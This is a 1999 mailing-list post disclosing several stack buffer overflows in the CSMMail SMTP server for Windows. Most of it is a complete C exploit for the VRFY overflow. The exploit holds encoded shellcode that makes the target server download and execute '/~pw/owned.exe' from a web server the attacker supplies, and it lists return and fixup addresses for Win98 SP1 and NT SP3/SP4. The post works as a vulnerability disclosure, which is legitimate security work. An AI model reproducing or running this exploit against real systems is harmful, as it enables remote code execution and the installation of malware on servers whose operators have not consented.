CSMMail Windows SMTP Server Remote Buffer Overflow Exploit

From: pw (pwat_private)
Date: Tue Apr 27 1999 - 10:44:51 PDT

  • Next message: tschweikleat_private: "Antwort: Re: Bug in WinNT 4.0 SP4"

    	CSMMail is a SMTP server for win95/98/NT with features that
    include at least five stack overflows.  At least two of these allow remote
    execution of arbitrary code.
    	The first the overflow is found in the HELO command, there is also
    an overflow in the MAIL FROM: command, however, I have been unable to get
    either of these to return to an arbitrary address.
    	The next overflow I found was in the VRFY command, when a long string is
    used as an argument ("VRFY aaaaaaa....") one can overwrite the return
    address and force the server to return to arbitrary code. This is the
    overflow the following exploit takes advantage of.
    	There is also another buffer overflow in the VRFY command which
    happens if one enters "VRFY aaaa@aaaaaaa......"  I have not been able to
    make this return to an arbitrary address.
    	The RCPT TO: command also has a overflow in it that can be used to
    return to arbitrary code.
    	There are two main problems which are run into when exploiting the
    first hole in the VRFY command.  The first one is trivial to get around.
    If a "@" sign (40h) is found on the buffer being copied and the buffer is
    excessively long it will not overflow the buffer.  To get around this we
    just make sure 40h is not in our code or offseted addresses.
    	The next problem stems from the fact that CSM Mail has no DLL's of
    it's own which are loaded in its address space and it's Image Base is
    00400000h.  Since we will have to include a null to address to any of
    CSMMail's code there is no sure way to return to our code.  To get around
    this I have included multiple return addresses in the exploit which are
    bound directly to the operating system version which CSM Mail is running
    under.
    	It is also worth noting that two of the arguments for
    the function which is having it's return address overwritten need to be
    fixed up with a valid read memory location in order to bypass page faults.
    	The exploit that is included below will force CSMMail to connect
    to a specified web server and download, save and execute a file from it.
    The exploit should work under x86 unix's and x86 versions of win32.  By
    default it is set to be compiled under unix, to compile it under win32
    take out the "#define UNIX."  I would like to thank Acpizer for
    porting this to win32 and determining the SP3 address values.
    	I do not know of any bugfixes for this and this exploit
    works on the current version which is being distributed from their
    site.  (It did the last time I checked it)
    
    -mcp
    
    <--------------------------CUT HERE------------------------->
    
    #define UNIX
    
    #ifndef UNIX
     #include <stdio.h>
     #include <fcntl.h>
     #include <winsock.h>
     #include <io.h>
     #define CLOSE _close
     #define SLEEP Sleep
    
    #else
     #include <stdio.h>
     #include <unistd.h>
     #include <fcntl.h>
     #include <netdb.h>
     #include <netinet/in.h>
     #include <sys/socket.h>
     #include <arpa/inet.h>
     #define CLOSE close
     #define SLEEP sleep
    #endif
    
    /*
     CSMMail Exploit by _mcp_ <pwat_private>
     Win32 port and sp3 address's by Acpizer <acpizerat_private>
    
     Greets go out to the following people: Morpheus, Sizban, Rocket,
       Acpizer, Killspree, Ftz, Dregvant, Vio, Symbiont, Coolg, Henk, #finite
       and #win32asm.
    
     You can contact me by e-mail or on efnet.
    
    
     As always no greets go out to etl
    
    */
    
    
    const unsigned long FIXUP1 = 264;
    const unsigned long FIXUP2 = 268;
    const unsigned long OFFSET = 260;
    
    char code[] =
    "\xEB\x53\xEB\x20\x5B\xFC\x33\xC9\xB1\x82\x8B\xF3\x80\x2B\x1"
    "\x43\xE2\xFA\x8B\xFB\xE8\xE9\xFF\xFF\xFF\xE8\xE4\xFF\xFF\xFF"
    "\xEB\x37\x46\x58\xFF\xE0\x33\xDB\xB3\x48\xC1\xE3\x10\x66\xBB"
    "\x94\x62\x56\xFF\x13\x8B\xE8\x46\x33\xC0\x3A\x6\x75\xF9\x46"
    "\x83\xC0\x1\x3A\x6\x74\xDD\x56\x55\x33\xDB\xB3\x48\xC1\xE3"
    "\x10\x66\xBB\xB8\x62\xFF\x13\xAB\xEB\xDF\xEB\x4F\x33\xC9\x66"
    "\x49\xC1\xC1\x2\x51\x33\xC0\x51\x50\xFF\x57\xE8\x8B\xE8\x33"
    "\xC9\x51\x51\x51\x51\x57\xFF\x57\xF4\x33\xC9\x51\x51\x51\x51"
    "\x56\x50\xFF\x57\xF8\x59\x57\x51\x55\x50\xFF\x57\xFC\x83\xC6"
    "\x7\x33\xC9\x51\x56\xFF\x57\xDC\xFF\x37\x55\x50\x8B\xE8\xFF"
    "\x57\xE0\x55\xFF\x57\xE4\x33\xC9\x51\x56\xFF\x57\xEC\xFF\x57"
    "\xF0\xE8\x59\xFF\xFF\xFF\x4C\x46\x53\x4F\x46\x4D\x34\x33\x1"
    "\x60\x6D\x64\x73\x66\x62\x75\x1\x60\x6D\x78\x73\x6A\x75\x66"
    "\x1\x60\x6D\x64\x6D\x70\x74\x66\x1\x48\x6D\x70\x63\x62\x6D"
    "\x42\x6D\x6D\x70\x64\x1\x58\x6A\x6F\x46\x79\x66\x64\x1\x46"
    "\x79\x6A\x75\x51\x73\x70\x64\x66\x74\x74\x1\x2\x58\x4A\x4F"
    "\x4A\x4F\x46\x55\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x50\x71"
    "\x66\x6F\x42\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x50\x71\x66"
    "\x6F\x56\x73\x6D\x42\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x53"
    "\x66\x62\x65\x47\x6A\x6D\x66\x1\x2\x69\x75\x75\x71\x3B\x30"
    "\x30\x00";
    
    
        /*This is the encrypted /~pw/owned.exe we paste at the end */
    char dir[] =
    "\x30\x7f\x71\x78\x30\x70\x78\x6f\x66\x65\x2F\x66\x79\x66\x1\x0";
    
    
    unsigned int getip(char *hostname)
      {
      struct hostent *hostinfo;
      unsigned int binip;
    
      hostinfo = gethostbyname(hostname);
    
      if(!hostinfo)
        {
          printf("cant find: %s\n",hostname);
          exit(0);
        }
    #ifndef UNIX
      memcpy((char  *)&binip, hostinfo -> h_addr, hostinfo -> h_length);
    #else
      bcopy(hostinfo -> h_addr, (char  *)&binip, hostinfo -> h_length);
    #endif
      return(binip);
      }
    
    
    int usages(char *fname)
    {						
          printf("CSMMail Remote Buffer Overflow exploit v1.1 by _mcp_ <pwat_private>.\n");
          printf("Win32 porting and nt sp3 address's by Acpizer <acpizerat_private>\n");
          printf("Usages: \n");
          printf("%s <target host> <www site> <fixup address> <return address>\n", fname);
          printf("win98 SP1:\n");
          printf("        <fixup address>  = 0xBFF78030\n");
          printf("        <return address> = 0xBFF79243\n");
          printf("NT SP3:\n");
          printf("        <fixup address>  = 0x77EB14C0\n");
          printf("        <return address> = 0x77E53FC7\n");
          printf("NT SP4:\n");
          printf("        <fixup address>  = 0x77EB14C0\n");
          printf("        <return address> = 0x77E9A3A4\n");
          printf("Will make <target host> running CSMMail download, save, and\n");
          printf("execute http:// site>/~pw/owned.exe\n");
    
    exit(0);
    
    }
    
    
    main (int argc, char *argv[])
    {
      int sock,targethost,sinlen;
      struct sockaddr_in sin;
      static unsigned char buffer[20000];
      unsigned char *ptr,*ptr2;
      unsigned long ret_addr;
      int len,x = 1;
      unsigned long rw_mem;
    
    
    #ifndef UNIX
      WORD wVersionRequested;
      WSADATA wsaData;
      int err;
    
      wVersionRequested = MAKEWORD( 2, 2 );
      err = WSAStartup( wVersionRequested, &wsaData );
      if (err != 0) exit(1);
    #endif
      if (argc < 5) usages(argv[0]);
    
    
      targethost = getip(argv[1]);
    
    
       len = strlen(argv[2]);
        if (len > 60)
         {
           printf("Bad http format!\n");
           usages(argv[0]);
         }
    
       ptr = argv[2];
       while (x <= len)
          {
            x++;
            (*ptr)++;           /*Encrypt the http ip for later parsing */
            ptr++;
          }
    
      if( (sscanf(argv[3],"0x%x",(unsigned long *) &rw_mem)) == 0)
        {
          printf("Input Error, the fixup memory address has incorrect format\n");
          exit(0);
        }
      if( (sscanf(argv[4],"0x%x",(unsigned long *) &ret_addr)) == 0)
        {
          printf("Input error, the return address has incorrect format\n");
          exit(0);
        }
    
    
      sock = socket(AF_INET,SOCK_STREAM,0);
    
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = targethost;
      sin.sin_port = htons(25);
      sinlen = sizeof(sin);
    
    
      printf("Starting to create the egg\n");
      ptr = (char *)&buffer;
      strcpy(ptr,"VRFY ");
      ptr+=5;
    
      memset((void *)ptr, 0x90, 7000);
    
      ptr2=ptr;
      ptr2+=FIXUP1;
      memcpy((void *) ptr2,(void *) &rw_mem,4);
      ptr2=ptr;
      ptr2+=FIXUP2;
      memcpy((void *) ptr2,(void *) &rw_mem,4);
    
      ptr+=OFFSET;
      memcpy ((void *) ptr,(void *)&ret_addr, 4);
      ptr+=60;
      memcpy((void *) ptr,(void *)&code,strlen(code));
    
    
      (char *) ptr2 = strstr(ptr,"\xb1");
      if (ptr2 == NULL)
         {
           printf("Bad shell code\n");
           exit(0);
         }
      ptr2++;
      (*ptr2)+= len + ( sizeof(dir) - 1 );
    
       (char *) ptr2 = strstr(ptr,"\x83\xc6");
         if (ptr2 == NULL)
          {
            printf("Bad shell code\n");
            exit(0);
    
          }
    
      ptr2+= 2;
    
      (*ptr2)+= len + 8;
    
      ptr+=strlen(code);
      memcpy((void *) ptr, (void *) argv[2], len);   /*Parse in the http
      site's info */
      ptr+=len;
      memcpy((void *) ptr,(void*) &dir, sizeof(dir) );
      printf("Made the egg\n");
    
        if ( connect(sock, (struct sockaddr *)&sin, sinlen) == -1)
         {
           perror("error:");
           exit(0);
         }
        printf("Connected.\n");
    
    #ifndef UNIX
    	send(sock, "HELO lamer.com\r\n",16, 0);
    	send(sock, (char *)&buffer, strlen((char *)&buffer), 0);
    	send(sock,"\r\n",2,0);
    #else
        write(sock, "HELO lamer.com\r\n",16);
        write(sock, &buffer, strlen((char *)&buffer) ); /* strlen((char
    *)&buffer */
        write(sock,"\r\n",2);
    #endif
        SLEEP(1);
        printf("Sent the egg\n");
    #ifndef UNIX
      WSACleanup();
    #endif
        CLOSE(sock);
       exit(1);
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:44:07 PDT